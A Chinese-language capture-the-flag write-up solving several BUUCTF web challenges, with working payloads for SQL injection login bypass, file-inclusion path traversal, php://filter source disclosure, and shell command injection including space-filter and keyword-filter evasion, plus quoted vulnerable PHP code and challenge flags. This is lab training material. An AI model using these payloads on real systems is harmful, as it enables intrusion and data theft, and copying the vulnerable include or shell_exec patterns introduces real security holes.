WEB刷题
BUUCTF
[极客大挑战 2019]EasySQL
进入靶机,根据题目要求,进行sql注入
用户名使用admin’ 来探测过滤器
发现可以使用,直接进行简单的sql注入
使用万能密码admin’ or 1=1#作为用户名,密码随意
得到flag
[极客大挑战 2019]Havefun
摁f12查看源码,发现cat参数判断
尝试传get参数cat=dog
得到flag
[HCTF 2018]WarmUp
查看源代码,发现一个提示
访问这个php,得到一段代码
我们来逐步分析一下source.php的代码:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
这段代码的意思是source.php接收一个file参数,当file这个参数满足以下三个条件时返回file指定的文件,否则输出一张图片。
- file参数不为空
- file参数是一个string类型
- file参数能够通过checkFile的检验
查看hint.php后发现
于是一层一层从文件系统向上找
最后得到payload:**?file=source.php?./../../../../ffffllllaaaagggg**
flag{c3bc189d-3f92-43e8-9463-b3de15916f1c}
[ACTF2020 新生赛]Include
首先查看源码
这个会跳转到flag.php
然后只有一个Can you find out the flag?
然后我就蒙了查了一下,发现了php伪协议这个东西
猜测flag.php文件显示不全
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
如果不进行过滤操作,数据会被当做php代码执行
解码后得到flag:flag{6cef29f0-789b-484a-ba17-8bc632de4c4a}
[ACTF2020 新生赛]Exec
根据题目提示,直接尝试了php一句话木马
好吧不行
又尝试了分句linux命令执行,诶成功了
127.0.0.1;cat ../../../flag
flag{6700dd7b-1fb8-4941-9094-3a4418a5a1a3}
[GXYCTF2019]Ping Ping Ping
又是ping?再试试执行linux语句呢?
找到了flag.php,但是好像做了拦截?
绕过空格的思路一般有:
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
尝试一下
cat$IFS$1index.php
可以看到index.php的代码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
于是可以得到payload
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
在源码中可以看到flag{7c4b49b7-e5e2-4baa-aef6-f493f1504ad4}